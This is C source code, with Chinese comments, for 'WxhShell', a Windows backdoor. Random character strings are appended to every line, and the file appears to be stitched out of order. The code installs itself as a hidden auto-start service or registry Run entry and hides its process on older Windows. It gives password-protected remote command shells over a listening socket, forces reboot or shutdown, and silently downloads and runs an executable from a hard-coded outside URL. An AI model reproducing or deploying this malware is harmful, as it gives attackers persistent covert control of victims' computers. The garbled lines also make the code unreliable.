    if(Boot(SHUTDOWN)) k8D _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NzgG7 7>  
    else { ]PS`"o,pF$  
    closesocket(wsh); :a}](Wn  
    ExitThread(0); (%6fMVp  
    } 7P1Pk?pxy  
    break; '|[!I!WB`  
    } ~HmH#"VP  
  // 获取shell G4(R/<J,BQ  
  case 's': { =Dn <DV  
    CmdShell(wsh); vhBW1/w&F  
    closesocket(wsh); Y5aG^wE[:  
    ExitThread(0); JLu$1A@ '  
    break; ,iV%{*p]  
  } $7q3[skH  
  // 退出 j4/[Z'5ny  
  case 'x': { D7hTn@I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \]> YLyG  
    CloseIt(wsh); _ /1/{  
    break; c {= ; lT  
    } phy}Hk/  
  // 离开 %n|  
  case 'q': { 9tHK_),9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ||:> &  
    closesocket(wsh); =gj?!d`  
    WSACleanup(); cQEUHhRg!  
    exit(1); cC-8.2  
    break; 72, m c  
        } M/ 64`lcb  
  } TsFhrtnx&X  
  } ]^ R':YE  
X$!fR >Zc  
  // 提示信息 g}W`LIasv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JvO1tA]ij  
} f\2IKpF2  
  } %RD\Sb4YV  
Cfi4~&  
  return; /"e@rnn  
} YYT;a$GTo  
$9YQ aN%  
// shell模块句柄 NO~G4PUM0C  
int CmdShell(SOCKET sock) wa[L[mw  
{ vaeQ}F  
STARTUPINFO si; wa@Rlzij>  
ZeroMemory(&si,sizeof(si)); *tv&=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >J;TtNE:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H q6%$!q  
PROCESS_INFORMATION ProcessInfo; af|h4.A  
char cmdline[]="cmd"; sRt7.fe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^Q#_  
  return 0; %6q82}#`  
} 5'set?  
q|ce7HnK  
// 自身启动模式 no+ m.B  
int StartFromService(void) 2/ +~h(Cc  
{ JL,Y9G*]s  
typedef struct ZQlk 5  
{ ?;RY/[IX6  
  DWORD ExitStatus; XHA|v^  
  DWORD PebBaseAddress; fnX[R2KZ  
  DWORD AffinityMask; TyV~2pc N  
  DWORD BasePriority; xuUEJ a&  
  ULONG UniqueProcessId; ug,AvHEnB  
  ULONG InheritedFromUniqueProcessId; _|\X8o_  
}   PROCESS_BASIC_INFORMATION; A l;a~45  
Zv}F?4T~:  
PROCNTQSIP NtQueryInformationProcess; Milp"L?B%  
Gbhw7 (&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }aOqoi7w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y`j_]qvt  
t0f7dU3e;L  
  HANDLE             hProcess; a8TtItN  
  PROCESS_BASIC_INFORMATION pbi; 1{M?_~g 4  
4 Y=0>FlY0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r]Hrz'C`  
  if(NULL == hInst ) return 0; [.>=> KJ_  
>\K=)/W2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ';G/,wB?`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~2>Adp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j)/Vtf  
$Z;8@O3  
  if (!NtQueryInformationProcess) return 0; 0y$VPgsKf  
N/F_,>E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9gA@D%0  
  if(!hProcess) return 0; A!GvfmzqIn  
KGOhoiR9:C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GDCp@%xW  
<N<0?GQ  
  CloseHandle(hProcess); 9U;  
X[Iy6qt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `.;U)}Tn  
if(hProcess==NULL) return 0; 8{0XqE~ix=  
/ xv5we~  
HMODULE hMod; 8\;, d  
char procName[255]; lrc%GU):  
unsigned long cbNeeded; D'[:35z  
} Nn+Ny  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =xkaF)AW&v  
8L:AmpQdpA  
  CloseHandle(hProcess); W'9{2h6u(  
h];H]15&  
if(strstr(procName,"services")) return 1; // 以服务启动 *-*V>ntvT$  
N^B7<~ bD  
  return 0; // 注册表启动 hAUP#y@:H:  
} Ngx2N<$<*g  
L[44D6Vg  
// 主模块 &p#PYs|H  
int StartWxhshell(LPSTR lpCmdLine) ;m] nl_vg  
{ ]4B;M Ym*  
  SOCKET wsl; PO5,lcBD<  
BOOL val=TRUE; ag8)^p'9  
  int port=0; YCP D+  
  struct sockaddr_in door; n]vCvmt  
N1Xg-u?ul#  
  if(wscfg.ws_autoins) Install(); An>ai N]  
@G]*]rkKb  
port=atoi(lpCmdLine); 5.-:)=  
gWjYS#D  
if(port<=0) port=wscfg.ws_port; f\?Rhyz  
(soTkH:#  
  WSADATA data; _ LgP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OE[7fDe'  
(8~mf$ zx,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tMdSdJ8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >l-u{([B  
  door.sin_family = AF_INET; A/9<} m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q9x@Pc29d  
  door.sin_port = htons(port); ]~$@x=p2e  
VQf^yq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7gLk~*  
closesocket(wsl); >~7XBb08  
return 1; 8MW-JZ  
} !m=Js"  
)M.g<[= ^  
  if(listen(wsl,2) == INVALID_SOCKET) { ?.ObHV*k  
closesocket(wsl); 8S#&XS>o  
return 1; <%^WZ:c  
} 2OI 0B\  
  Wxhshell(wsl); .mwW`D  
  WSACleanup(); ;L",K?6#  
r9-ayp#pC  
return 0; zGme}z;1@  
>8{{H"$;(  
} rpEIDhHv  
*EO*Gg0d  
// 以NT服务方式启动 |$\1E+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'G[G;?F  
{ a{^ 2c!  
DWORD   status = 0; ?~sNu k  
  DWORD   specificError = 0xfffffff; D0 q42+5  
DHjfd+E=s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EGFP$nvq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7C Sn79E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F `F|.TX  
  serviceStatus.dwWin32ExitCode     = 0; X%99@qv  
  serviceStatus.dwServiceSpecificExitCode = 0; ~c+=$SL-=  
  serviceStatus.dwCheckPoint       = 0; g"!cO^GkT  
  serviceStatus.dwWaitHint       = 0; @D["#pe,}  
1W.oRD&8j/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J 7dHD(R8  
  if (hServiceStatusHandle==0) return; %H_-`A`  
npytb*[|c  
status = GetLastError(); u"T9w]Z\  
  if (status!=NO_ERROR) @b2?BSdUp  
{ GM8>u O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %#EzZD  
    serviceStatus.dwCheckPoint       = 0; | h"$  
    serviceStatus.dwWaitHint       = 0; ',|OoxhbK  
    serviceStatus.dwWin32ExitCode     = status; '9qyf<MlY  
    serviceStatus.dwServiceSpecificExitCode = specificError; jpXbFWgN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iBWEZw)  
    return; f]sR4mhO  
  } v9TIEmZ  
vN]_/T+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  MkdC*|  
  serviceStatus.dwCheckPoint       = 0; ?|`n&HrP  
  serviceStatus.dwWaitHint       = 0; 03iy[~Y2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +|<bb8%  
} 4QPHT#eqX  
EKw)\T1  
// 处理NT服务事件,比如:启动、停止 Jv%)UR.]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [P6A $HC<  
{ e<8KZ  
switch(fdwControl) TR `C|TV>  
{ iYdg1  
case SERVICE_CONTROL_STOP: 1o_Zw.  
  serviceStatus.dwWin32ExitCode = 0; Q?>*h xzoP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;Hp78!#,  
  serviceStatus.dwCheckPoint   = 0; -IDhK}C&T  
  serviceStatus.dwWaitHint     = 0; KB^GC5L>  
  { ,s}7KE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @QYCoEU8J  
  } c>r~pY~$  
  return; 3fE0cVG*  
case SERVICE_CONTROL_PAUSE: 1?"Zrd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]|IeE!6  
  break; /7a3*a  
case SERVICE_CONTROL_CONTINUE: 6%o@!|=I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~dgFr6  
  break; `USze0"t0:  
case SERVICE_CONTROL_INTERROGATE: I;<__  
  break; gId :IR  
}; az}zoFl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sP9{tk2K  
} b ts*qx&)  
zQGj,EAM}  
// 标准应用程序主函数 pJo4&Ff  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ePSD#kY5  
{ "HJQAy?W  
gxVJH'[V5  
// 获取操作系统版本 mEb`ET|  
OsIsNt=GetOsVer(); HuxvIg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K)\D,5X^  
|^w&dj\,  
  // 从命令行安装 @}%kSn5y:  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0'zjPE#  
bDegIW/'w  
  // 下载执行文件 e&m TaCLG  
if(wscfg.ws_downexe) { V Kc`mE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N>@.(f&w  
  WinExec(wscfg.ws_filenam,SW_HIDE); X&i" K'mV  
} 0h('@Hb.K#  
nXh<+7  
if(!OsIsNt) { g)<[-Q1  
// 如果时win9x,隐藏进程并且设置为注册表启动 R^K:hKQ  
HideProc(); 7=A @P  
StartWxhshell(lpCmdLine); ]go.IfH  
} /sSif0I24  
else (+TL ]9P  
  if(StartFromService()) 6fT^t!<i  
  // 以服务方式启动 fKs3H?|  
  StartServiceCtrlDispatcher(DispatchTable); %VrMlG4hx  
else q}&+{dN\1  
  // 普通方式启动 a7]Z_Gk  
  StartWxhshell(lpCmdLine); ?CpM.{{s  
<.@w%rvG  
return 0; hSk  
} gdqED}v  
;s-fYS6(>{  
7. eiM!7g  
sgB|2cj;j  
=========================================== j2#B l  
^;EwZwH[  
KeC&a=HL  
EmV ZqW  
! j0iLYo(*  
`u8=~]rblj  
" )Mw 3ZE92  
S|B S;VY  
#include <stdio.h> N)YoWA>#bF  
#include <string.h> & y7~  
#include <windows.h> @])}+4D(S  
#include <winsock2.h> Nbm$ta  
#include <winsvc.h> Z ^yn S  
#include <urlmon.h>  p;vrPS  
jTok1k  
#pragma comment (lib, "Ws2_32.lib") yL3F  
#pragma comment (lib, "urlmon.lib") i,$n4  
%U&ztvR0C  
#define MAX_USER   100 // 最大客户端连接数 -k3WY&9,  
#define BUF_SOCK   200 // sock buffer h56s~(?O  
#define KEY_BUFF   255 // 输入 buffer I]N!cEr;@-  
<kWNx.eci  
#define REBOOT     0   // 重启 V5]\|?=  
#define SHUTDOWN   1   // 关机 S!~p/bB[+I  
_jk+$`[9PL  
#define DEF_PORT   5000 // 监听端口 yc@ :*Z  
A@I3:V  
#define REG_LEN     16   // 注册表键长度 4_vJ_H-mO,  
#define SVC_LEN     80   // NT服务名长度 ?Q}3X-xy  
! 9=Y(rb  
// 从dll定义API g);.".@"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }+ TA+;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BKW%/y"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cN#f$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %lN4"jtx  
unkA%x{W;  
// wxhshell配置信息 } 71 9_DF  
struct WSCFG { ( z%t  
  int ws_port;         // 监听端口 ltXGm)+  
  char ws_passstr[REG_LEN]; // 口令 ny+_&l^R~(  
  int ws_autoins;       // 安装标记, 1=yes 0=no )yv~wi  
  char ws_regname[REG_LEN]; // 注册表键名 PAy7b7m~B  
  char ws_svcname[REG_LEN]; // 服务名 ' ui`EL%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~DK=&hCd!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AG,;1b,:81  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W:=CpbwENX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +P"u1q*+p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \W})Z72  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^NOy: >  
yg@}j   
}; h>jp.%oOu  
#h7 $b@  
// default Wxhshell configuration +8V |  
struct WSCFG wscfg={DEF_PORT, 05vu{>  
    "xuhuanlingzhe", zH?&FtO  
    1, 8*yk y  
    "Wxhshell", -;o`(3wZq  
    "Wxhshell", OL$^7FB  
            "WxhShell Service", T1~,.(#  
    "Wrsky Windows CmdShell Service", bR? $a+a)  
    "Please Input Your Password: ", e!*%U= [Q  
  1, rwep e5  
  "http://www.wrsky.com/wxhshell.exe", .(8eWc YK  
  "Wxhshell.exe" p4{3H+y  
    };  Ry iS  
[=I==?2`X  
// 消息定义模块 G,b1u"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KdTna6nY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >iB-gj}>X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {V9}W<  
char *msg_ws_ext="\n\rExit."; 5mYI5~ p  
char *msg_ws_end="\n\rQuit."; @IwVR  
char *msg_ws_boot="\n\rReboot..."; ) _O 6_  
char *msg_ws_poff="\n\rShutdown..."; Ty>g:#bogI  
char *msg_ws_down="\n\rSave to "; /Q[M2DN@  
`` mi9E  
char *msg_ws_err="\n\rErr!"; 6J%+pt[tu  
char *msg_ws_ok="\n\rOK!"; {^n\ r^5  
9ApGn!`  
char ExeFile[MAX_PATH]; #T8$NZA  
int nUser = 0; d[.JEgU  
HANDLE handles[MAX_USER]; A?sU[b6_  
int OsIsNt; 1z[GYRSt  
ZM%z"hO9R  
SERVICE_STATUS       serviceStatus; Y4|g^>{<ni  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \V,;F!*#G  
.8%mi'0ud  
// 函数声明 hq^@t6!C\m  
int Install(void); :+>:>$ao  
int Uninstall(void); A{Q:,S)  
int DownloadFile(char *sURL, SOCKET wsh); s GP}>w-JZ  
int Boot(int flag); C=/nZGG  
void HideProc(void); 8oj-5|ct  
int GetOsVer(void); K9y!ZoB  
int Wxhshell(SOCKET wsl); Uwqm?]  
void TalkWithClient(void *cs); &`'gO 9  
int CmdShell(SOCKET sock); }3Y3f).ZW  
int StartFromService(void); pMX#!wb  
int StartWxhshell(LPSTR lpCmdLine); o[!g,Gmoh  
^f,('0p- >  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uvrfR?%QK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y[l19eU  
NX(.Lw}  
// 数据结构和表定义 \k|ZbCWg  
SERVICE_TABLE_ENTRY DispatchTable[] = &,Xs=Lv mq  
{  o2ndnIL  
{wscfg.ws_svcname, NTServiceMain}, O$%C(n(  
{NULL, NULL} w^&TG3m1~  
}; /N ^%=G#  
9J?G"JV?  
// 自我安装 [N/[7Q/y  
int Install(void) xe: D7  
{ 66%#$WH#  
  char svExeFile[MAX_PATH]; 4565U  
  HKEY key; j]"Yz t~u  
  strcpy(svExeFile,ExeFile); Dc[Qu? ]LM  
OZ q/'*  
// 如果是win9x系统,修改注册表设为自启动 B*owV%  
if(!OsIsNt) { k:w\4Oqd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kl|KFdA;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5U[;T]{)e  
  RegCloseKey(key); )G6]r$M>o0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x c-=;|s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ujcNSX*  
  RegCloseKey(key); @Ey(0BxNu  
  return 0; g2hxWf"  
    } @Ns^?#u~   
  } [pmZ0/l  
} eN%Ks  
else { HFx8v!^5N  
^AD/N|X^  
// 如果是NT以上系统,安装为系统服务 sf?D4UdIH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S&V5zB""n  
if (schSCManager!=0) / vge@bsE  
{ ^n<p#0)+a  
  SC_HANDLE schService = CreateService WZCX&ui  
  ( 7fl'nCo\"  
  schSCManager, _-Aw`<_*-  
  wscfg.ws_svcname, j*$GP'Df3  
  wscfg.ws_svcdisp, +6f5uMKUvs  
  SERVICE_ALL_ACCESS, SM:{o&S`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;=6 ++Oq  
  SERVICE_AUTO_START, JPiC/  
  SERVICE_ERROR_NORMAL, tGD$cBE  
  svExeFile, 5in6Y5ckj  
  NULL, m7e$ Z  
  NULL, ag?@5q3J}  
  NULL, i[^?24~ c  
  NULL, }x-~>$:"  
  NULL mxQS9y  
  ); C|W_j&S65  
  if (schService!=0) lV$U!v: b  
  { _hMVv&$  
  CloseServiceHandle(schService); {TdK S  
  CloseServiceHandle(schSCManager); !HqIi@>8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 42Vy#t/HC  
  strcat(svExeFile,wscfg.ws_svcname); Z[AJat@H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *H&a_s/{Nb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +]CKu$,8  
  RegCloseKey(key); '4FS.0*_  
  return 0; j>?H^fB  
    } "a`0s_F,^  
  } f;pR8  
  CloseServiceHandle(schSCManager); D Z ~|yH  
} cPI #XPM=  
} R`ZU'|  
aiw~4ix  
return 1; g;v{JB  
} tJ.LPgfZ  
u;& `_=p  
// 自我卸载 lbT<HWzNH  
int Uninstall(void) ;b cy(Fp,\  
{ 7x-k-F3  
  HKEY key; )R9>;CuC9?  
5&2=;?EO  
if(!OsIsNt) { >|@ /GpD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j^iH[pN] \  
  RegDeleteValue(key,wscfg.ws_regname); in#qV  
  RegCloseKey(key); %~^R Iwm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @/anJrt  
  RegDeleteValue(key,wscfg.ws_regname); StP6G ]x  
  RegCloseKey(key); 9Wx q  
  return 0; |KU>+4= @  
  } ]ueq&|  
} Lkk'y})/  
} Sqc*u&W  
else { ;N]ElwP  
fn#b3ee  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #hR}7K+@  
if (schSCManager!=0) W|D'S}J  
{ V}pw ,2s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .yi.GRk  
  if (schService!=0) uA:;OM}  
  { LL9Mty,  
  if(DeleteService(schService)!=0) { 1;vn*w`p  
  CloseServiceHandle(schService); w|?Nq?KA  
  CloseServiceHandle(schSCManager); L-@j9hU{  
  return 0; ] =>vv;L  
  } N[aK#o,  
  CloseServiceHandle(schService); O~fRcf:Q  
  } 1#]tCi`  
  CloseServiceHandle(schSCManager); ?PyI#G   
}  `U(A 5  
} G:u[Lk#6K  
HewVwD<C  
return 1; C&<f YCwG  
} z56W5g2  
8C4 Tyms  
// 从指定url下载文件 ZwO&G\A^  
int DownloadFile(char *sURL, SOCKET wsh) z %+?\.oH  
{ u"pn'H  
  HRESULT hr; YDjQ&EH  
char seps[]= "/"; Qf>dfJ^q  
char *token; Q(V c/  
char *file; !c(B^E  
char myURL[MAX_PATH]; -BQM i0  
char myFILE[MAX_PATH]; ;EL!TzL:8  
qZ_^#%zO  
strcpy(myURL,sURL); v`y{l>r,  
  token=strtok(myURL,seps); 1__p1  
  while(token!=NULL) jn)~@~c  
  { ]>R`]U9*O  
    file=token; O_F<VV*MFQ  
  token=strtok(NULL,seps); mqq~&nI  
  } Xg,E;LSF8  
w:M faN*  
GetCurrentDirectory(MAX_PATH,myFILE); ;K$E;ZhPN  
strcat(myFILE, "\\"); !WVF{L,/I  
strcat(myFILE, file); VEb}KFyP  
  send(wsh,myFILE,strlen(myFILE),0); zUwz[^d<C  
send(wsh,"...",3,0); [R A=M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ub,Sj{Mq"  
  if(hr==S_OK) qMI%=@=  
return 0; r<&d1fM;X  
else Bj%{PK  
return 1; *QjFrw3  
O^U{I?gQ  
} og2]B\mN4  
LAMTf"a  
// 系统电源模块 WNd(X}  
int Boot(int flag) X*%KR4`  
{ Z[0xqGYLB  
  HANDLE hToken; ]d% hU  
  TOKEN_PRIVILEGES tkp; 8@b@y|#]X  
lXv{+ic  
  if(OsIsNt) { 6"jq/Pu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E8FS jLZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )W*S6}A  
    tkp.PrivilegeCount = 1; s\>$ K%!H?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G'{4ec0<{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5OKbW!  
if(flag==REBOOT) { ||qsoF5B]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (zgXhx_!D  
  return 0; nW{7L  
} #\t?`\L3  
else { Mg^GN -l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Du[$6  
  return 0; 8Jxo;Y  
} X<Vko^vlj  
  } g%RL9-z  
  else { wm8(Ju  
if(flag==REBOOT) { HRPTP+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nuKjp Ap!  
  return 0; w(.k6:e  
} #Q$9Eq8"[  
else { fTV:QAa;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [",W TZ:  
  return 0; *PZNZ{|m  
} JsVW:8QO~  
} jk 9K>4W  
*Pw; ;#\B  
return 1; ,}`II|.oB  
} 8BLtTpu  
^aXyho  
// win9x进程隐藏模块 H$;K(,'  
void HideProc(void) oDM}h +  
{ HtmJIH:  
dbE $T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [T~O%ly7x&  
  if ( hKernel != NULL ) Yz.[CmdX  
  { V:My1R0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X^fMt]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  ] |~],\  
    FreeLibrary(hKernel); EiIbp4*e  
  } y=5s~7]  
/e#_Yg  
return; M/ R#f9W  
} 2-]gHAw%  
e l7P  
// 获取操作系统版本 zOWbdd_zl  
int GetOsVer(void) ]rC6fNhQ  
{ ]W-:-.prh  
  OSVERSIONINFO winfo; a|T P2m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YG"P:d;s  
  GetVersionEx(&winfo); eP[azC"G[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sT'wps2  
  return 1; C37KvLQ  
  else [ ecYpE<  
  return 0; +cQ4u4  
} .nKyB'uV  
I zM=?,`  
// 客户端句柄模块 G@ BrU q  
int Wxhshell(SOCKET wsl) DJ[U^dWRn  
{ E/Eny 5  
  SOCKET wsh; Pm%ZzU  
  struct sockaddr_in client; #B;`T[  
  DWORD myID; b ]1SuL  
OT{qb!eYI  
  while(nUser<MAX_USER) n"(n*Hf7b  
{ eIg ' !8h?  
  int nSize=sizeof(client); zp,f}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bx!Sy0PUJ  
  if(wsh==INVALID_SOCKET) return 1; x4 4)o:  
6V*@ {  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z,I7 PY& G  
if(handles[nUser]==0) 3)EslBA7i  
  closesocket(wsh); ~}$:iyJV(>  
else T{{J' _s5L  
  nUser++; +\\*Iy'xK  
  } O]4!U#A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f|w+}z  
bhnm<RZ  
  return 0; m/cbRuPWgP  
} 1CFrV=d  
ubj ~ULA  
// 关闭 socket s7D_fv4e  
void CloseIt(SOCKET wsh) [/6$P[  
{ !M)!  
closesocket(wsh); 0{gvd"q  
nUser--; nxA]EFS  
ExitThread(0); 3!Rb {  
} zTAt% w5  
rRYP~ $c  
// 客户端请求句柄 L!3{ASIN0  
void TalkWithClient(void *cs) n<"?+bz"<  
{ Qh? E* 9  
h 34|v=8d  
  SOCKET wsh=(SOCKET)cs; zVGjXuNa  
  char pwd[SVC_LEN]; E`=y9r* Z  
  char cmd[KEY_BUFF]; ;6e#W!  
char chr[1]; }rn}r4_a  
int i,j; Ys+Dw-  
jE&kN$.7j  
  while (nUser < MAX_USER) { NQ'^ z  
`[jQn;  
if(wscfg.ws_passstr) { N#bWMZ"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wI1[I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {QM;%f  
  //ZeroMemory(pwd,KEY_BUFF); Q7N4@w;e  
      i=0; OcQ_PE5\  
  while(i<SVC_LEN) { })M$#%(  
A AH-Dj|&l  
  // 设置超时 $P866F  
  fd_set FdRead; HdJLD+k/  
  struct timeval TimeOut; !6@xX08z  
  FD_ZERO(&FdRead); 0 u,=OvU  
  FD_SET(wsh,&FdRead); HsR#dp+s~  
  TimeOut.tv_sec=8; _>dqz(8#  
  TimeOut.tv_usec=0; _ZzN}!Mye  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SR*%-JbA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]n _-  
xGk@BA=0<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o*qEAy ?  
  pwd=chr[0]; /q uf'CV}  
  if(chr[0]==0xd || chr[0]==0xa) { JjfNH ~  
  pwd=0; Gqk"%irZ  
  break; _a+0LTo".  
  } Eh!%Ne O  
  i++; vEtogkFA"  
    } $C9<{zX   
&I'~:nWpt  
  // 如果是非法用户,关闭 socket <j:3<''o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6|T{BOW!d  
} 4=o3 ZRV  
tborRi)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F#X\}MvEU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iL|*g3`-f  
px//q4 U  
while(1) { zHb<YpU  
0qG[hxt%  
  ZeroMemory(cmd,KEY_BUFF); e!tgWYN  
5\R8>G~H  
      // 自动支持客户端 telnet标准   QAygr4\X^  
  j=0; R#Bt!RNZ  
  while(j<KEY_BUFF) { PO&xi9_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GdG%=+  
  cmd[j]=chr[0]; VZAdc*X  
  if(chr[0]==0xa || chr[0]==0xd) { T?AGQcG  
  cmd[j]=0; LTzf&TZbx5  
  break; ;lYO)Z`3\  
  } >x2T '  
  j++; <>j, Q  
    } aj(M{gFq~  
JYv&It  
  // 下载文件 ZmmuP/~2K  
  if(strstr(cmd,"http://")) { Tw!x*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c}QQ8'_  
  if(DownloadFile(cmd,wsh)) *\S>dhJ4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {/Q pEd>3+  
  else ?a}eRA7  
